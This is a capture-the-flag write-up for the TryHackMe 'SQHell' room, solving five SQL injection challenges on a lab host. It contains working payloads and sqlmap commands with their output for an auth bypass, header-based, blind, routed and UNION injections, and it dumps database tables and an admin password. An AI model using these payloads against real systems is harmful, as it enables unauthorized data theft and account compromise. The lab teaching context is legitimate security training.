SQHell - Write-up - TryHackMe

Information

Room#

  • Name: SQHell
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: Try and find all the flags in the SQL Injections.

SQHell

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

$ sudo pacman -S sqlmap

Preparation#

Add the IP address to the host file for easy access:

$ grep sqhell /etc/hosts
10.10.176.127 sqhell.thm

Flag 1 - auth bypass SQLi#

This one is the most famous classic, a basic SQLi on the login form (http://sqhell.thm/login).

  • username: admin' or 1=1-- -
  • password: whatever

Once the authentication bypass the flag is displayed.

Flag 2 - HTTP header SQLi#

The Terms and Conditions page (http://sqhell.thm/terms-and-conditions) is giving us a precious hint:

iii: We log your IP address for analytics purposes

A common way to try to influence on our IP address via HTTP is to use the X-Forwarded-For header.

We can directly set an injection point in this header.

$ sqlmap -u 'http://sqhell.thm/terms-and-conditions' -H 'X-Forwarded-For: 10.10.10.10*' --risk 3 --level 5 --dbms MySQL
...
Parameter: X-Forwarded-For #1* ((custom) HEADER)
    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: 10.10.10.10';SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: 10.10.10.10' AND (SELECT 8414 FROM (SELECT(SLEEP(5)))RfON)-- CunQ

List databases:

$ sqlmap -u 'http://sqhell.thm/terms-and-conditions' -H 'X-Forwarded-For: 10.10.10.10*' --risk 3 --level 5 --dbms MySQL --dbs
...
available databases [2]:
[*] information_schema
[*] sqhell_1

List tables:

$ sqlmap -u 'http://sqhell.thm/terms-and-conditions' -H 'X-Forwarded-For: 10.10.10.10*' --risk 3 --level 5 --dbms MySQL -D sqhell_1 --tables
...
Database: sqhell_1
[2 tables]
+------+
| flag |
| hits |
+------+

List columns:

$ sqlmap -u 'http://sqhell.thm/terms-and-conditions' -H 'X-Forwarded-For: 10.10.10.10*' --risk 3 --level 5 --dbms MySQL -D sqhell_1 -T flag --columns
...
Database: sqhell_1
Table: flag
[2 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| flag   | varchar(250) |
| id     | int          |
+--------+--------------+

Retrieve the flag:

$sqlmap -u 'http://sqhell.thm/terms-and-conditions' -H 'X-Forwarded-For: 10.10.10.10*' --risk 3 --level 5 --dbms MySQL -D sqhell_1 -T flag -C flag --dump
...
Database: sqhell_1
Table: flag
[1 entry]
+---------------------------------------------+
| flag                                        |
+---------------------------------------------+
| THM{FLAG2:edited}                           |
+---------------------------------------------+

Flag 3 - boolean-based blind SQLi#

While entering a username on the register page (http://sqhell.thm/register), we can see the app is requesting an API at each key pressed to check the username availability.

The request looks like this and returns a boolean in JSON:

$ curl "http://sqhell.thm/register/user-check?username=noraj" -s | jq
{
  "available": true
}
$ curl "http://sqhell.thm/register/user-check?username=admin" -s | jq
{
  "available": false
}

We can easily try for

$ curl "http://sqhell.thm/register/user-check?username=noraj' OR 1=2-- -" -s | jq
{
  "available": true
}

$ curl "http://sqhell.thm/register/user-check?username=noraj' OR 1=1-- -" -s | jq
{
  "available": false
}

$ curl "http://sqhell.thm/register/user-check?username=admin' AND 1=1-- -" -s | jq
{
  "available": false
}

$ curl "http://sqhell.thm/register/user-check?username=admin' AND 1=2-- -" -s | jq
{
  "available": true
}

There we have a boolean-based inferential SQL injection (blind SQLi).

SQLmap was able to identify two techniques:

Parameter: username (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: username=-7235' OR 6428=6428-- YQFj

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=noraj' AND (SELECT 6032 FROM (SELECT(SLEEP(5)))OAyh)-- XDgE

Let's list databases:

$ sqlmap -u 'http://sqhell.thm/register/user-check?username=noraj' -p username --risk 3 --level 5 --dbms MySQL --dbs
...
available databases [2]:
[*] information_schema
[*] sqhell_3

The only custom database is sqhell_3, let's list tables:

$ sqlmap -u 'http://sqhell.thm/register/user-check?username=noraj' -p username --risk 3 --level 5 --dbms MySQL -D sqhell_3 --tables
...
Database: sqhell_3
[2 tables]
+-------+
| flag  |
| users |
+-------+

We must find the flag in the flag table, not let's find the columns:

$ sqlmap -u 'http://sqhell.thm/register/user-check?username=noraj' -p username --risk 3 --level 5 --dbms MySQL -D sqhell_3 -T flag --columns
...
Database: sqhell_3
Table: flag
[2 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| flag   | varchar(250) |
| id     | int          |
+--------+--------------+

Let's dump the entries from this column:

$ sqlmap -u 'http://sqhell.thm/register/user-check?username=noraj' -p username --risk 3 --level 5 --dbms MySQL -D sqhell_3 -T flag -C flag --dump
...
Database: sqhell_3
Table: flag
[1 entry]
+---------------------------------------------+
| flag                                        |
+---------------------------------------------+
| THM{FLAG3:edited}                           |
+---------------------------------------------+

Bonus#

Even if not required it can be interesting to dump the users table:

$ sqlmap -u 'http://sqhell.thm/register/user-check?username=noraj' -p username --risk 3 --level 5 --dbms MySQL -D sqhell_3 -T users --columns
...
Database: sqhell_3
Table: users
[3 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int          |
| password | varchar(250) |
| username | varchar(250) |
+----------+--------------+

$ sqlmap -u 'http://sqhell.thm/register/user-check?username=noraj' -p username --risk 3 --level 5 --dbms MySQL -D sqhell_3 -T users --dump
...
Database: sqhell_3
Table: users
[1 entry]
+----+---------------------------------+----------+
| id | password                        | username |
+----+---------------------------------+----------+
| 1  | icantrememberthispasswordcanyou | admin    |
+----+---------------------------------+----------+

Flag 4 - routed SQLi#

This one is similar to Flag 5 until some point.

I'll skip the beginning since it's the same but for users instead of posts.

The difference is here there is no flag database.

$ sqlmap -u 'http://sqhell.thm/user?id=55' -p id --risk 3 --level 5 --dbms MySQL -D sqhell_4 --tables
...
Database: sqhell_4
[1 table]
+-------+
| users |
+-------+

We can find the admin account:

$ sqlmap -u 'http://sqhell.thm/user?id=55' -p id --risk 3 --level 5 --dbms MySQL -D sqhell_4 -T users --dump
...
Database: sqhell_4
Table: users
[1 entry]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | password | admin    |
+----+----------+----------+

Nothing? so what?

Hang on tight please, so guess work is required.

Remember the hint?

Well, dreams, they feel real while we're in them right?

It's a quote from the Inception move. The movie is about a dream in a dream in a dream etc. in other words: nested dreams.

There is a quite uncommon and fanciful way to call a nested SQLi (a.k.a. routed SQLi) which is Inception SQLi in reference to the movie.

So here we have a routed / nested SQLi.

We the following payload we are able to detect which columns are reflected.

http://sqhell.thm/user?id=2 union all select 'noraj','is','great' from users-- -

2 union all select 'noraj','is','great' from users-- -

And since the hint told us there was routed SQLi we can try to replace noraj or is with a SQL query. The second column is no vulnerable to routed SQLi only the first one so we need to replace the first column (noraj).

With the nested payload we can find which column is reflected:

http://sqhell.thm/user?id=2 union all select '44 UNION SELECT 5,6,7,8-- -','is','great' from users-- -

2 union all select '44 UNION SELECT 5,6,7,8-- -','is','great' from users-- -

Finally we replace the nested to select the flag. More manual enumeration could have been required in real life to list tables and columns be in this challenge we know it's always the flag column in the flag table.

http://sqhell.thm/user?id=2 union all select '44 UNION SELECT 5,flag,7,8 from flag-- -','is','great' from users-- -

2 union all select '44 UNION SELECT 5,flag,7,8 from flag-- -','is','great' from users-- -

Flag 5 - in-band SQLi#

Posts are identified with a uniq id: http://sqhell.thm/post?id=2

A non existing post id (http://sqhell.thm/post?id=42) will return Post not found.

But with a true condition it will return the 1st post: http://sqhell.thm/post?id=55 OR 1=1

Trying a union query (http://sqhell.thm/post?id=55 UNION SELECT 1,2,3,4) we can see there are 4 columns and column 2 and 3 are displayed. So we have an in-band SQLi.

SQLmap found 4 methods:

Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: id=55 OR NOT 5505=5505

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=55 AND GTID_SUBSET(CONCAT(0x7171707171,(SELECT (ELT(1693=1693,1))),0x7178706271),1693)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=55 AND (SELECT 2419 FROM (SELECT(SLEEP(5)))EtKF)

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=55 UNION ALL SELECT NULL,NULL,CONCAT(0x7171707171,0x50717453517964415353585653516c784d77534551644c76497144425068774a566e695357444868,0x7178706271),NULL-- -

Let's list the databases:

$ sqlmap -u 'http://sqhell.thm/post?id=55' -p id --risk 3 --level 5 --dbms MySQL --dbs
...
available databases [2]:
[*] information_schema
[*] sqhell_5

List the tables:

$ sqlmap -u 'http://sqhell.thm/post?id=55' -p id --risk 3 --level 5 --dbms MySQL -D sqhell_5 --tables
...
Database: sqhell_5
[3 tables]
+-------+
| flag  |
| posts |
| users |
+-------+

List the columns:

$ sqlmap -u 'http://sqhell.thm/post?id=55' -p id --risk 3 --level 5 --dbms MySQL -D sqhell_5 -T flag --columns
...
Database: sqhell_5
Table: flag
[2 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| flag   | varchar(250) |
| id     | int          |
+--------+--------------+

List the entries:

$ sqlmap -u 'http://sqhell.thm/post?id=55' -p id --risk 3 --level 5 --dbms MySQL -D sqhell_5 -T flag -C flag --dump
...
Database: sqhell_5
Table: flag
[1 entry]
+---------------------------------------------+
| flag                                        |
+---------------------------------------------+
| THM{FLAG5:edited}                           |
+---------------------------------------------+
Share